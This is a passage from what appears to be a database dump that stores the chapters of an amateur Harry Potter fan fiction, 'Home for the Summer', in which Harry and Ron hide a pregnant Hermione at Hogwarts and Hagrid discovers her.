want to say that.<br><br>Hermoine did not want to hear it either, but \nshe knew it would be for the best if she agreed, &quot; of course, I agree&quot; neither \nsaid anything for a moment, the silence was killing both of them. &quot; Do you think \nthis could ruin our friendship?&quot;.<br><br>If he could not have her in the terms \nof love, he wanted her friendship, &quot; no, of course not. We can\'t change what \nhappened last night, but it\'s not something to loose such a good friendship \nover&quot;.<br><br>&quot; Right&quot; she nodded, &quot; well, we better get back in there before \nRon suspects something. Let\'s just keep this between us&quot;.<br><br>&quot; \nDefiantly&quot;.<br><br>Harry and Hermoine walked back into the hall, acting like he \nhad really fallen asleep in the &quot; library&quot; the night before.\n'),
	(195, 4, '~ Home for the Summer~<br><br>A/N: Though the baby will not be born until \na later chapter, I need ideas of what the readers think the gender should be. \nNames are picked out for either one, but I\'m always bad with which would be \nbetter with the characters. Let me know in your reviews what you think it should \nbe. Thanks!<br><br><br><br>Chapter Four- Resolutions; Part \nOne<br><br><br><br><br><br>Sun rays glistened through the white blinds over the \nwindow appearing across the floor, onto the blankets, and Harry\'s face. His \neyelids fluttered open, darting around the room, he reached for his glasses and \nsaw that he was alone in the bed, again. The previous night was not a dream, \nagain, the thought of that was quickly erased from his mind. Hermoine sat Indian \nstyle on the carpet, near the desk, reading one of Harry\'s books from \nHogwarts.<br><br>Without moving, &quot; everyone left. Dudley came in here earlier, \nbut I was hiding in the closet&quot;.<br><br>It tore him apart to think she actually \nhad to do that, &quot; how are you feeling?&quot;.<br><br>She shrugged, &quot; nauseous, but \nit\'s going away&quot;.<br><br>&quot; How about some toast, it may help&quot; he kindly \noffered.<br><br>She shook her head, no longer reading, just staring at the words \nthat didn\'t mean anything, &quot; no thank you, I\'m not hungry&quot;.<br><br>Harry never \ntook his eyes off her, &quot; Hermoine, you have to eat&quot;. With no response, he knew \nshe was trying to hide her emotions. Behind her long tresses, it was there. He \ncrawled off the side of the bed, sitting in front of her. In the same moment, \nHermoine leaned into his chest, immediately bawling into his shoulder. He held \nher very close, caressing her back in attempts to calm her.<br><br>&quot; How is this \ngoing to work, Harry?&quot; her words were clueless to herself.<br><br>&quot; I don\'t \nknow&quot; he whispered in her ear, &quot; don\'t worry, we will figure out something, \nsoon&quot; Harry waited for a minute, &quot; you are staying for the rest of the summer, \nright?&quot;.<br><br>&quot; Is that alright? I can find another place&quot;.<br><br>Harry \nstopped her, &quot; no, I want you to stay, I don\'t want you to be alone, you won\'t \nbe alone&quot; he told her, and truly meant it.<br><br>Hermoine calmed, slightly, &quot; \nyou\'re sixth year starts in two months, you and Ron&quot;.<br><br>A spontaneous \nthought sprung to mind at random call, Harry stopped his movements, &quot; unless, \nyou come with me, come with us&quot;.<br><br>The tears slowed down, her face still \nburied, &quot; what?&quot;.<br><br>Harry didn\'t know where it was coming from, but he knew \nwhat he meant, &quot; you can come with me, back to Hogwarts&quot;.<br><br>&quot; I heard you&quot; \nHermoine pulled away, &quot; but, I can\'t, I\'m no longer on the acceptance list, and \nI have no money. Besides, this is against the rules&quot;.<br><br>Harry\'s bank \naccount wouldn\'t hold out for her, even if he tried, and he knew that, and it\'s \nnot like they were one for obeying the school rules. &quot; I know, but, Ron and I \nare already assigned as roommates, and no staff member goes inside the \ndorms&quot;.<br><br>&quot; Harry Potter, you are absolutely insane for thinking of such a \nthing, and you\'re suppose to be the practical one&quot; he knew that \nvoice.<br><br>But he also knew that being practical was not necessarily an \noption anymore, &quot; maybe insane is a good thing. Maybe you have somewhere to go, \nbut I don\'t want you to. You\'re an only child, aren\'t Ron and I like your \nbrothers?&quot;.<br><br>&quot; If you\'re my brother, and the father of our child, it\'s not \na good mixture&quot;.<br><br>He stared directly at her, &quot; it\'s a metaphor. I want to \nbe there for you, and the baby no matter what. It\'s either here or Hogwarts, but \nyou\'re not safe here. Two months hiding out here is one thing all year would be \nanother&quot;.<br><br>&quot; But hiding me at Hogwarts would be a different thing?&quot; it was \na oratorical question that she thought he would not be able to answer. Then \nagain, he was the famous Harry Potter.<br><br>&quot; It\'s easier there, in any \ncircumstance, and it would look suspicious if neither of returned to \nschool&quot;.<br><br>Hermoine wanted to believe him, he wouldn\'t be saying it if he \nreally thought it could happen. &quot; How can I get there? I don\'t have a train \nticket and if I managed to get on, people would wonder why I\'m never around in \nschool&quot;.<br><br>There, she caught him with an obstacle, one he had to think of a \nway around before all hope was lost. Train, problems with the train, the \nmemories came back. A smirk formed across his lips. &quot; Do you remember how Ron \nand I got to school for the second year?&quot;.<br><br>Hermoine, still focused on \nthat smirk, reacted, &quot; oh great, so you\'re going to kill me, there\'s a good \nidea!&quot;.<br><br>Harry shook his head, &quot; no not like that, there was a very \nserious problem when we did that&quot; she signaled for him to continue, &quot; Ron was \ndriving. Either way, no one saw us come in, they found out because we were \nstupid enough, but with a little more intelligence, they would not know you were \nthere&quot;.<br><br>&quot; And what? Live in a dorm twenty-four seven?&quot;.<br><br>&quot; Have you \nseen our dorm? Once you enter the sixth year, they\'re huge, it\'s like a mansion, \nten times the size of this room, and you know we\'d take care of you&quot; Harry \nrealized he was ramming on about something neither found very important, he \nstopped, in hesitation, &quot; you love that world, and it\'s where you deserve to be, \nit doesn\'t matter what is going on. This is the only way to still be the witch \nyou were born to be, and when I say witch, I mean it in a good way&quot;.<br><br>She \nlet out a little laugh, &quot; you make it sound so tempting, but too easy&quot;.<br><br>&quot; \nWell&quot; he was very into this idea, now getting to the second thought, &quot; it won\'t \nbe, I can admit that. If you really want to, it\'ll.work&quot;.<br><br>Hermoine acted \nshocked, &quot; remember what happened last time you said that?&quot;.<br><br>Neither of \nthem could forget, it was in concrete memory, and right there in front of them. \n&quot; The damage has been done, I don\'t think we could make it worse&quot; she still \nlooked depressed, Harry leaned closer, &quot; most of the time, we hardly got caught, \nwandering around when we weren\'t suppose to be&quot; he smiled. There were the few \noccasional incidents.<br><br>&quot; Like a dog&quot; she snarled, &quot; I can get out at \nnight, like a dog&quot;.<br><br>&quot; No&quot; he snapped towards himself, &quot; no, no, no, you \nonly have one head&quot;. Hermoine laughed hysterically, they both were. She stopped \nafter seeing she had, with a blank expression. &quot; What\'s wrong?&quot; he calmly asked, \nbut did not receive an answer, the same look, &quot; what is it?&quot;.<br><br>&quot; I don\'t \nthink it\'s wrong&quot; she said, placing a hand on her stomach, &quot; it\'s just really \nweird&quot;.<br><br>Harry scooted closer on the carpet, &quot; what feels \nweird?&quot;.<br><br>Hermoine took his hand and placed it near hers, he could feel \nsomething moving on the other side, &quot; it\'s not suppose to move&quot;.<br><br>&quot; I \nthought they were?&quot; one of the little things he had an idea about the certain \nsubject.<br><br>&quot; Not this early, at least, that\'s what I re ad&quot; she removed her \nhand, &quot; then again, it\'s a wizards baby&quot;.<br><br>He still didn\'t move his hand, \n&quot; and a witch\'s&quot;.<br><br>She smiled, rather weak. The kiss during the previous \nnight was ignored, and they wound up in an emotional moment of silence. It was \nthree words, one was very prime. He had thought about them all the time, she had \nwritten them, maybe if Ron had been right.<br><br>&quot; I don\'t fell.&quot; Hermoine \njumped on her feet, running from the room, clutching her mouth. Harry ran after \nher into the bathroom, ready to hold her hair back.\n'),
	(195, 5, '~ Home for the Summer~<br><br>Chapter Five- Guess \nWhat<br><br><br><br>Hermoine arrived on July seventh, a little before midnight \nand a few weeks before Harry\'s sixteenth birthday. It was now August twenty- \nfifth. The next semester at Hogwarts was beginning in one week exactly. No one \nknew of her presence in Harry\'s room, there were only seven days left. Harry had \nsent Ron a letter not long before saying the car would be needed for getting to \nthe school. Though the fact that he would not be driving was mentioned, the \nreason why the car was needed, wasn\'t. Harry and Hermoine agreed that they\'d \nwait until the last possible minute to tell Ron anything.<br><br>Harry placed \nthe plate of toast, a glass of orange juice, and a cup of tea on the breakfast \ntray. Hermoine slept through most of the mornings, he knew it was not her fault. \nHe carried the tray slowly from the kitchen upstairs to the bedroom, where she \nhad just opened her eyes at his entrance.<br><br>&quot; I told you, no more breakfast \nin bed&quot; Hermoine mumbled, moving into a sitting position under the \ncovers.<br><br>Harry placed the tray across her lap, &quot; I must have missed that&quot; \nhe joked, knowing very well that she had said it many times before.<br><br>She \nlooked at the items in front of her, &quot; this is too much&quot;.<br><br>&quot; You saw what \nthe book said, you\'re eating for two so you need the extra energy, and healthy \nenergy&quot; he had a routine from many different books planned in his mind, she \nfound it adorable.<br><br>Hermoine took a bite from the toast, watching him \narrange something in his desk, &quot; before we leave, I\'m going to make you \nbreakfast while you\'re asleep&quot;.<br><br>Harry smiled, &quot; there\'s only a few more \ndays, seven to be exact&quot;.<br><br>&quot; Seven!&quot; she cried, &quot; only seven!&quot; she caught \nhis full attention, &quot; we haven\'t heard from Ron yet, what if it\'s too \nlate!&quot;<br><br>He raised his arms, &quot; calm down Hermoine, knowing Ron, he\'ll wait \nuntil the last minute. There\'s a chance he\'s in Romania&quot; she was about to speak \nagain, the doorbell rang. &quot; I\'ll be right back&quot;.<br><br>Harry jumped the steps \ndown to the entry hall. Switching the latch and turning the handle, he screamed, \nslamming the door in a split second. Hermoine appeared at the top of the \nstaircase, &quot; what was that all about?&quot;.<br><br>&quot; It\'s Ron!&quot; Harry gasped, &quot; Ron, \nit\'s Ron, Ron is here!&quot;.<br><br>She saw past his panicking, &quot; so, why did you \nshut the door in his face?&quot;.<br><br>&quot; He can\'t know we\'re here!&quot;.<br><br>&quot; I \nthink he already knows&quot; as Hermoine stepped down the stairs one by one, Harry \nbolted up them.<br><br>&quot; The plan was he doesn\'t have to know until the semester \nbegins&quot; he whispered.<br><br>But she used her regular tone, &quot; like you said, \nit\'s only seven days, now open the door, he may not leave until you \ndo&quot;.<br><br>&quot; Okay&quot; Harry dashed back to the door, calmly opening it. Ron still \nstood there, with a bright smile on his face.<br><br>&quot; Is that how you treat all \nyour guests?&quot; he grinned.<br><br>&quot; Only you&quot; Harry commented.<br><br>Ron walked \ninside. When Harry kept his face pressed against the closed door, he noticed \nHermoine at the top of the stairs, wearing a pair of boxer shirts and a long \nt-shirt. &quot; What in the name of Professor Dumbledore are you doing \nhere?&quot;.<br><br>&quot; Hello Ron&quot; she said, with a hint of fear, maybe she should have \nlistened to Harry.<br><br>Ron laughed, &quot; so this is why you haven\'t answered my \nletters, you came here. Boy, am I glad....bloody hell, someone\'s gained \nweight&quot;.<br><br>Hermoine looked down at her rounded stomach, the baggy shirt was \nno longer doing it\'s job. She covered it with her arms and sat on the edge of \nthe step. Ron stood on the bottom step, looking between his two best \nfriends.<br><br>Harry took three steps away from the door, &quot; Ron, Hermoine will \nbe staying with us at Hogwarts this year&quot;.<br><br>Ron looked at Harry like he \nwas a mental patient with amnesia, &quot; well of course she is, she has been since \nthe first day, and that\'s when we were barely eleven&quot;.<br><br>Hermoine shook her \nhead in disbelief for him, &quot; he means in your dorm, with you&quot;.<br><br>&quot; Did they \nmake it coed? Oh no!&quot; he cried, &quot; I don\'t want to be stuck with \nGinny&quot;.<br><br>Harry waved him off, &quot; you won\'t be with Ginny, just myself and \nHermoine. She\'ll be, I guess you can say hiding&quot;.<br><br>&quot; Can say?&quot; Hermoine \nroughly commented, &quot; that\'s exactly what I\'ll be doing&quot;.<br><br>Harry continued, \n&quot; she won\'t be a student, no one but us will know she is there, and I mean no \none, aside from us&quot;.<br><br>Ron still had his ways of ignoring the obvious, &quot; \nand Hagrid?&quot; he said with enthusiasm.<br><br>He was smacked upside the head, &quot; \nwhat part of \' no one\' don\'t you understand? How many times has Hagrid said \' I \nshouldn\'t have told you that\' to us alone? No offense, but we can\'t take the \nrisk of him saying that Hermoine is pregnant&quot; Harry didn\'t mean to say that, nor \ndid he care, it was going to come out eventually.<br><br>Ron changed an \nexpression, &quot; but, you\'re not pregnant&quot; he looked upstairs at her.<br><br>&quot; Yes \nI am!&quot; she yelled, &quot; I am pregnant, that\'s why I\'m here! That\'s why I\'m fat, but \nif you call me tat again, I\'ll petrify you, because it\'s only going to get \nworse&quot;.<br><br>He shrugged, &quot; well, I was in Romania, it makes sense why I \ndidn\'t hear about it sooner&quot;.<br><br>&quot; That and I\'m the father&quot; Harry muttered, \nHermoine looked down at him.<br><br>But Ron didn\'t hear, not clearly, &quot; ha, it \nsounds like you said you were the...&quot; he trailed off. Rapidly looked up, then \ndown, a look of pure fear. &quot; Blind me! How did that happen?&quot;.<br><br>&quot; Let\'s not \nget into that right now&quot; Hermoine answered blissfully, &quot; it was just one night, \nwhich, is all it takes&quot; she sighed down memory lane, &quot; when Harry was asleep in \nthe library&quot;.<br><br>Ron thought for a moment, before exploding at Harry, &quot; I \nthought you were going to return her diary, not, that!&quot;.<br><br>As odd as it \nwas, Harry and Hermoine were the only to remain calm. &quot; Not even a wizard can \ncontrol faith&quot; Hermoine said, focusing on Harry.<br><br>He stayed caught in her \ngaze for a split second, it was very plain, yet something about it, &quot; she\'s \nright, she\'s always right&quot;.<br><br>&quot; If I never took her diary, this wouldn\'t \nhave happened!&quot; Ron cried, &quot; you wouldn\'t have had any reason to see her that \nnight&quot;.<br><br>Hermoine got up, joining the boys, the same step as Ron, &quot; if it \nhappened, then it was meant to happen. Whether he had the diary or not, we would \nhave been alone at some point or another. And when we were, the feelings would \nhave overcame us, and then&quot; she looked at Harry, looking back at her. Her mind \nand mouth had rambled almost too far. &quot; Damn hormones, messing with me \nagain&quot;.<br><br>Harry went along with the excuse, &quot; they\'ve been pretty rough on \nher&quot;.<br><br>By that time, Ron was in tears, bawling into his hands. It was no \nan unusual site, just an unusual reason. Hermoine grabbed his chin, forcing him \nto look at her, &quot; this isn\'t your fault&quot;.<br><br>&quot; It\'s not that&quot; he blew his \nnose into his shirt sleeve, &quot; but, Hermoine is gruesome enough, like my mum, and \nit\'s so much worse when they\'re pregnant&quot;. Hermoine growled deeply under her \nbreath, dropping Ron\'s chin. Her chocked on his tears, getting them to stop, &quot; \nwe have to get her out of here, today, right now&quot;.<br><br>&quot; That was a little \nunexpected&quot; she commented.<br><br>&quot; What?&quot; Harry asked Ron.<br><br>&quot; We have to \nget her to Hogwarts, right now, we can\'t take the risk of her getting \ncaught&quot;.<br><br>Harry shook his head, &quot; we\'ve already figured this out, a plan \nfor orientation&quot;.<br><br><br><br>&quot; That\'s still a few days away. Right now, \nthere\'s only one person at the school, before any professors or staff members. \nNot even Dumbledore&quot; Ron told them.<br><br>Hermoine raised an eyebrow, &quot; how do \nyou know all this?&quot;.<br><br>&quot; Percy, who else?&quot;.<br><br>&quot; Who is the one person \nthat is there?&quot; Harry ventured to ask.<br><br>He paused, looking at the,, &quot; \nHagrid&quot; he said slowly, then picked up the pace, &quot; but he has his own house, \nhe\'ll never see us, the chances are too great&quot;.<br><br>&quot; They\'re too slim!&quot; \nHermoine commented.<br><br>&quot; Maybe he has something&quot; Harry took Ron\'s side, \nscaring even himself, &quot; sneaking inside will make us look suspicious to anyone \nwho sees us, it is better that no one seeing us at all&quot;.<br><br>The decision was \nleft entirely to Hermoine, the boys made it obvious. In all fairness, she should \nhave the final say.<br><br>&quot; Come on Her, it\'s the most logical way. Harry\'s \ntrunk isn\'t that big&quot;. Harry punched Ron near his shoulder, very hard, throwing \nhim back into the wall.<br><br>Hermoine let out a deep breath, &quot; is the car out \nfront?&quot;. Harry knew what that meant, he ran past them upstairs back to the \nbedroom. They had been packed for weeks.<br><br>&quot; Yes!&quot; Ron could hardly speak \nthrough his smile. Harry came to the stairs, with two trunks, Ron went after him \nto take them. &quot; Where\'re the owls?&quot;.<br><br>&quot; In a pen out back&quot; Hermoine\'s owl \njoined them not longer after she did. No one noticed the companion to \nHarry\'s.<br><br>Ron dashed out the front door. Harry stood in front of a \ngrinning Hermoine. &quot; We\'re going!&quot; her voice almost squeaked.<br><br>&quot; We\'re \ngoing&quot; he laughed, repeating her enthusiasm.<br><br><br><br>The ride to Hogwarts \nwas much more calm this time than when they were twelve. Harry was driving, or \nflying, and there was much more experience. He stayed in the car the entire \ntime, there was no train on their tail, and Ron\'s wand was packed away for the \ntime being. Night had fallen for sometime, Ron stayed awake with Harry, Hermoine \nwas asleep along the backseat.<br><br>&quot; You know what?&quot; Ron broke the \nsilence.<br><br>Harry struggled through exhaustion, not really caring what Ron \nhad to say, &quot; what?&quot;.<br><br>&quot; I could always picture you two getting married, \nbut, never having any children&quot;.<br><br>Harry looked away from the windshield, &quot; \nwhy\'s that?&quot;.<br><br>Ron shrugged, &quot; beats me, I just never could. Though you do \nseem like the good father type, maybe it means that you\'re doing things you\'re \nnot suppose to&quot;.<br><br>&quot; If it wasn\'t obvious enough&quot;.<br><br>&quot; Do you love \nher?&quot; the question came from nowhere again.<br><br>Though this time, Harry did \nnot react in harsh ways, &quot; what is it with you and that subject?&quot;.<br><br>Ron \nslouched down in the seat against the dashboard, &quot; well, you got her pregnant, \ndid you not?&quot;.<br><br>&quot; You make it sound like a forbidden crime or \nsomething&quot;.<br><br>He continued, &quot; I mean, if your relationship as friends went \nthis far, don\'t you have different feelings for her?&quot;.<br><br>&quot; I always have&quot; \nHarry gazed down at the steering wheel, gripping at it harder. The conversation \ndid not continue.<br><br>Hermoine laid behind them, wide awake, listening to \nevery sound and every word that took place in front of her. An hour later, the \ncar was landed in an open courtyard at Hogwarts school.\n'),
	(195, 6, '~ Home for the Summer~<br><br>Summary: (which is a bad one) Ron and Harry \nenter Hogwarts, hiding Hermoine, and trying to get away with it.<br><br>A/N: \nCome on guys! Baby boy or baby girl?<br><br><br><br><br><br>&quot; Hagrid\'s house is \non the other side of the school, he won\'t be anywhere around here&quot; Ron was the \nfirst out of the car.<br><br>Harry was next, pulling the seat forward to help \nHermoine, &quot; you sound so sure of yourself. Do you even know how to get to the \ndorm from here?&quot;.<br><br>&quot; Of course&quot; he faced the building standing taller than \nthem, &quot; if we take the stairs to the sixth floor, because of our ear, then down \nthe left wing, make another left, down the hall, the dormitory is also on the \nleft, and, Walla!&quot;.<br><br>Hermoine gazed at the dark building. If not for the \nreflecting moonlight, it would blend with the night sky. &quot; Why do I have the \nfeeling that those are the directions to an old friend by the name of \nFluffy?&quot;.<br><br>&quot; If you make all rights instead of lefts, then yes, it is&quot; Ron \ntold her, frightening Harry.<br><br>She thought nothing of it, &quot; what about all \nour things?&quot;.<br><br>&quot; We\'ll come back for it later&quot; Harry said, &quot; let\'s just \nget inside first&quot;.<br><br><br><br>The large doors to the back entry were not \nonly extremely heavy, but also locked. Then again, two wizards, one witch, three \nwants, and a certain spell were better than any key. The three pressed their \nbacks against the wood and iron, scraping their feet against the ground. With \nall possibility, they managed enough space to allow their entrance. After the \nsmall corridor, there was the staircase tower, where the ceiling could not be \nseen. Ron went first, then Hermoine, and Harry followed her. The only sound was \ntheir shoes clattering against cement steps. Just arriving on the fourth floor, \na light began to illuminate a small area on the ground floor. The three dropped \nto hide behind the railing, looking through the bars at the owner of those \nvoices.<br><br>&quot; Maybe it\'s the snakes again&quot; Ron gasped, \nterrified.<br><br>Harry interrupted the mindless speaking below them, &quot; you know \nwhat they\'re saying&quot;.<br><br>Hermoine raised herself slightly, &quot; it\'s \nHagrid&quot;.<br><br>Sure enough, the loveable, enormous groundskeeper was chatting \naway with Nick, the friendly spirit of the school, at least one of them. His \nroaming of Hogwarts year round had been forgotten about when the planning went \non.<br><br>&quot; Oh, sure Weasly, he never comes around here!&quot; Harry was unaware of \nthe pitch in his voice, by that time, it was too late.<br><br>&quot; Harry? Good \ngods, is that you?&quot; Hagrid\'s voice echoed towards them, all of \nthem.<br><br>Harry released his lip, standing to reveal himself over the \nbanister, &quot; hello Hagrid&quot;.<br><br>Ron joined him, &quot; hello Sir Nick&quot;.<br><br>Both \nwere overwhelmed to see the boys, only the boys. &quot; hello Potter, Weasly&quot; Nick \ngreeted, &quot; it\'s nice to see you again, and rather early this year&quot;.<br><br>&quot; Um, \nyes, we wanted to get a head start&quot; Harry felt the nerves in his throat jumping. \nHermoine hid within the shadows between the boys.<br><br>Hagrid laughed, &quot; \nyou\'re the only ones to think of such. Where\'s the Granger girl?&quot;.<br><br>They \npanicked for a reasonable, yet believable, explanation. The truth of the \nacceptance list did not come to either mind. &quot; What?&quot; Harry caused somewhat of a \ndiversion.<br><br>&quot; Where\'s Hermoine?&quot; Hagrid repeated.<br><br>&quot; Hermoine who?&quot; \nRon\'s voice cracked to a higher tone.<br><br>Harry dropped his neck in \ndisappointment, &quot; Hermoine won\'t be returning, her parents no longer want her \nhere&quot;.<br><br>&quot; They don\'t want me period&quot; she commented, luckily, there was no \necho.<br><br>No one said anything for what seemed like an eternity, maybe no one \nbelieved what Harry had just said. &quot; What a shame&quot; Hagrid said, &quot; well, she will \nbe missed. We\'ll be seeing you boys&quot;. The two disappeared from the ground floor, \ncontinuing their conversation after the boys had muttered a \' good-bye\'. \nHermoine stood up when it was safe.<br><br>&quot; Hermoine who?&quot; Harry angrily mocked \nRon, &quot; what was that?&quot;.<br><br>&quot; I couldn\'t think!&quot;.<br><br>Harry was about to \ntell Ron that he\'ll probably be the death of them all, but his rapid hand \ngestures interrupted. He accidentally hit Hermoine, knocking her off balance and \ndown the stairs.<br><br>&quot; Hermoine!&quot; he yelled at reflex.<br><br>She laid still \nafter landing on the platform that separated the sets of stairs. At the given \nmoment, just as Harry began to eliminate the number of steps between them, the \nstaircase began to move. Shifting downward, they separated Ron and Harry from \nHermoine. When finally coming to a stop, she was on the other side of the tower, \nthree stories down. She winced in pain, trying to her herself to sit \nproperly.<br><br>&quot; They should move again soon&quot; Ron told him. Harry didn\'t care, \nthrowing himself over the railing, leaving Ron to watch. As he was mid-air, \nthere was another shift, having Harry crash land right above her. He couldn\'t \nfeel the pain. He jumped again, and landed at her feet.<br><br>&quot; Are you \nalright?&quot; he moved to her side.<br><br>Hermoine still had a painful expression, \n&quot; yeah, it was only a few steps, I\'m okay&quot;.<br><br>He lifted her into his arms, \none arm under her legs and around her back, carrying her back to where Ron was \nwaiting, then continued to the dorm.<br><br>&quot; I can walk you know&quot;.<br><br>&quot; \nYou\'re not heavy&quot; he told her.<br><br>The dormitory was just how they would \nalways remember it, but the dorm itself gets bigger year by year. And now, \nthey\'d be alone. Ron opened the door to the room, and let Harry walk in \nfirst.<br><br>&quot; It\'s just like the bride and groom after the wedding!&quot; he \nlaughed.<br><br>Harry turned on an angel, allowing Hermoine to kick Ron in the \nstomach area. He fell over himself onto the floor. Harry placed Hermoine gently \non her feet. &quot; So this is it&quot; she looked high and low.<br><br>Ron struggled to \nmove, &quot; have you thought of a plan on what to do when that thing wants to come \nout&quot; bad choice of words, but he had a point.<br><br>Hermoine and Harry looked \ndown at Ron, then at each other. &quot; I knew we were missing something&quot; he \nsaid.<br><br>&quot; It\'s a rather important detail&quot; she replied.<br><br>Harry paced \naround in small circles, &quot; um, okay, we have.four more months, right? And \nthen...&quot;.<br><br>She placed each hand on either of his shoulders, bringing their \nforeheads together, &quot; you don\'t have to have the answers, I don\'t expect you \ntoo&quot;.<br><br>&quot; Maybe we should tell someone else&quot; Ron suggested, &quot; someone who \ncan help, this can\'t be done alone&quot;.<br><br>&quot; Who can we trust? Someone who \nwouldn\'t try to send her home, and who wouldn\'t tell another staff \nmember&quot;.<br><br>&quot; All signs point to Hagrid&quot; Hermoine said in response to Harry, \n&quot; he always told us things we weren\'t suppose to know by the laws of \nHogwarts&quot;.<br><br>Harry stared down at the stone floor, &quot; what can he \ndo?&quot;.<br><br>&quot; A lot more than we could do by ourselves&quot; Ron told him.<br><br>&quot; \nAlright, why not just go to him if it becomes absolute necessary&quot; Hermoine came \nto the conclusion, &quot; I really don\'t want to go back&quot; she said very \nsoftly.<br><br>Harry gently raised her chin with two fingers, &quot; if by any means \nyou really have to, I\'m going with you&quot;.<br><br>&quot; Me too!&quot; Ron watched her \nsmile, &quot; so it\'s settled, Hermoine starts screaming, we go to Hagrid&quot;.<br><br>&quot; \nGood thing it\'s not the same for you, Harry would be on his way in three \nseconds&quot;.<br><br><br><br>A/N: The semi-climax is in the next chapter, \npromise.\n'),
	(195, 7, '~ Home for the Summer~<br><br>Chapter Seven- Stowaway<br><br>Summary: \nRight now, it\'s nine weeks later, making it early November. Ron and Harry go \nabout their regular routines, and no one knows about Hermoine\'s real \nwhereabouts.<br><br><br><br>The air around the island had finally grown cold, \nlater than most years. It wasn\'t that cold, but it certainly was a change from \nthe summer heat. Harry sat on the windowsill late one night. The others were \nasleep in the dark dorm except for the moonlight glowing through the tall \nwindow. He was thinking about where he was now, and where he would be in another \ntwo months. Responsible for another human life.<br><br>&quot; Hey&quot; Hermoine stood \nnext to him, whispering.<br><br>He smiled, &quot; can\'t sleep either?&quot;.<br><br>She \nshook her head, sliding onto the seat in front of him, resting between his legs \n(don\'t get gross), and her head on his chest. Harry wrapped his arms along with \nhers around her stomach.<br><br>&quot; What are you thinking about?&quot; he \nasked.<br><br>&quot; The only thing on my mind for awhile. You&quot; she paused, &quot; and the \nbaby&quot;, he didn\'t notice the pause between both things.<br><br>He intertwined his \nfingers with hers, &quot; I just realized we don\'t have any names picked out&quot; he \ntried to change it to a lighter subject.<br><br>&quot; We don\'t need them, we\'d pick \na name, and when the baby\'s born, we\'d think it wont fit and we\'ll be back here \nagain&quot;.<br><br>Harry found it rather humorous, &quot; you\'ve had this planned, \nhaven\'t you?&quot;.<br><br>She sighed, &quot; since I was ten, I never thought it\'d be \nlike this&quot;.<br><br>He stroked her wrist with his thumb, &quot; I\'m sorry, I\'m sorry \nit has to be this way&quot;.<br><br>&quot; It\'s not your fault&quot; Hermoine became more \nrelaxed in his arms, &quot; we both contributed to it&quot;.<br><br>Harry couldn\'t find \nthe nerves to say what he wanted to say. It would haunt him forever if he didn\'t \nand he knew he\'d regret it soon enough. In a faint whisper, Harry said &quot; I love \nyou&quot;, but saw Hermoine was already asleep, she didn\'t hear \nhim.<br><br><br><br>Only a few hours later, when the morning sun had risen, \nHermoine found herself sneaking through the dormitory, closer to the hallway. \nThe girls bathroom was her eager destination. Everyone was still asleep, \nincluding Harry, whom was asleep by the window. She ran the best she could down \nthe open corridor. Hermoine kept looking behind her, though that bathroom was \nnot that far. Normally, she\'d use James Potter\'s cloak, considering it was \nearly, she figured it was safe. She figured. On one of her quick peeks behind \nher, she found herself in front of a large belly. Hagrid.<br><br>Hermoine gasped \nsharply, jumping back a step or two. He stood as though he knew she was going to \nbe there at that exact second. &quot; Hello Hermoine&quot;. She was still panting, \npanicking. &quot; Don\'t worry yourself sweetie, I\'ve known for quiet some time that \nyou were here?&quot;.<br><br>&quot; You have?&quot;.<br><br>&quot; Indeed, don\'t worry, the boys \ndidn\'t tell me, it was a little obvious, but, only to myself&quot; he seemed more \nhappy to see her, rather than the fact that she was not suppose to be \nthere.<br><br>But Hermoine wanted to know where they went wrong, &quot; if you don\'t \nmind me asking, um, how did you know?&quot;.<br><br>Hagrid extended his arm to touch \na lock of her curls, &quot; you have beautiful hair Hermoine, which was easily seen \nthrough the railing the night of your arrival&quot;.<br><br>She took the same lock \nbetween her fingers, &quot; oh&quot;.<br><br>&quot; Why are you here Hermoine?&quot; damn well, he \nknew why, besides the fact that it had become physically obvious. Hermoine drew \nin a deep breath, prepared to tell her story.<br><br><br><br>Meanwhile, back at \nthe dorm, Harry and Ron had woken, to find their stowaway was not \nthere.<br><br>&quot; She didn\'t just vanish Ron, besides, the cloak is here, maybe \nshe didn\'t leave willingly!&quot; Harry had just finished dressing in his Quidditch \nuniform when Ron pointed out that they were alone.<br><br>&quot; Spas much do you? If \nsomething happened, they\'d tell us because they\'d know she was here with us. She \nprobably went exploring, she does that a lot&quot;.<br><br>Harry stared coldly at her \nfriend, &quot; not when she\'s pregnant and no one is suppose to know that she\'s at \nHogwarts!&quot;.<br><br>Ron sat on his bed, &quot; go to the game, it\'s important. If \nyou\'re late, or you don\'t show up, then they\'re going to suspect something. I\'ll \nlook for her, then bring her back here, then go to the game&quot;.<br><br>Harry stood \ndeep in thought, giving in, then grabbing his broomstick from his own bed and \nleaving the dorm.<br><br>He purposely took the long way to the Quidditch field, \nknowing the places Hermoine Granger would be. Carefully, opening the girls \nbathroom door, calling her name. A light voice responded, claiming that she was \nnot there.<br><br><br><br>Once exiting the building, the field was not far. \nBetween the field and the building, Hagrid stepped in his path. &quot; Good afternoon \nHarry&quot;.<br><br>&quot; Good afternoon Hagrid&quot; there were those nerves again.<br><br>&quot; \nI just want to wish you good luck on the match today, we\'ll be watching \nyou&quot;.<br><br>&quot; We?&quot; he knew Ron was searching in school, and he never seemed to \nmention the rest of the Gryffindors.<br><br>A hand appeared, literally out of \nthink air next to Hagrid, waving. Hermoine, under his cloak. He didn\'t know she \nwas there, the again, that was the whole point. &quot; You found out&quot; he \nwhispered.<br><br>Hagrid sighed, &quot; you weren\'t exactly calm when you two got \nhere early, which also gave it away. Between the many, many times you mentioned \nher name like she was there, the fact that Hermoine would do anything to make it \nback to Hogwarts every year. And, she ran into me, which sealed the \ndeal&quot;.<br><br>&quot; I\'m sorry Harry&quot; her voice cooed.<br><br>He shrugged, laughing, \n&quot; we were going to tell him eventually&quot;.<br><br>Hagrid placed his arm around \nwhere Hermoine really was, &quot; good thing you came when you did. No worries, it\'ll \nbe our little secret&quot;. Harry smiled, he had a feeling Hermoine was as well. &quot; \nAnyways Harry, you best be getting to the game, come on Granger, let\'s go get \nsome good seats&quot;.<br><br>Harry watched them leave, well, he watched Hagrid \nleave. Then ran like mad to the field.<br><br>First game of the Quidditch \nseason, and they tied forty to forty. Harry couldn\'t concentrate, he was the \nbest player, but he kept looking into the crowd, to make sure everything was \nalright. And it always was. He told himself over and over to relax on \nconcentrate on where he was and what he was suppose to be doing. Slowly, it was \nbeginning to work.<br><br>&quot; Harry&quot; his name caught his attention into the crows \nagain. He saw Hagrid, and Hermoine, he saw her. She was clutching her stomach, \nhe was helping her stand. The game suddenly became a blur, and he didn\'t realize \nhe was not in the best position. Ron joined them, Hermoine looked as though she \nwas suffering, Hagrid was talking to him, and then 